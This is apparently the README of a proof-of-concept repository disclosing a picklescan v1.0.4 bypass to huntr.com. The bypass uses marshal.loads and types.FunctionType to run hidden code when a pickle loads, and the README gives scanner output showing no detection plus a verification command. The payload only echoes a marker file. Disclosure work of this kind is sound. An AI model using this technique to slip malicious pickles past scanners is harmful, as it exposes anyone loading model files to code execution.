thesecguy/poc-picklescan-marshal-bypass

picklescan v1.0.4 bypass via marshal.loads + types.FunctionType

This repo contains two pickle files for vulnerability disclosure to huntr.com.

Files

• poc_picklescan_marshal.pkl (255 bytes): bypass payload. Chains marshal.loads(<bytecode>) to reconstruct a code object then types.FunctionType(code, {})() to call it. picklescan reports 0 issues. pickle.load() runs os.system("echo PWN_PSCAN_HF > /tmp/PWN_PSCAN_HF").
• poc_picklescan_baseline.pkl (51 bytes): control. Direct os.system reduce. picklescan correctly flags 1 dangerous global.

Side-by-side scanner output

$ picklescan -p poc_picklescan_marshal.pkl
Infected files: 0
Dangerous globals: 0

$ picklescan -p poc_picklescan_baseline.pkl
Infected files: 1
Dangerous globals: 1

Verification

python3 -c "import pickle; pickle.load(open('poc_picklescan_marshal.pkl','rb'))"
cat /tmp/PWN_PSCAN_HF

Reported: huntr.com (May 2026).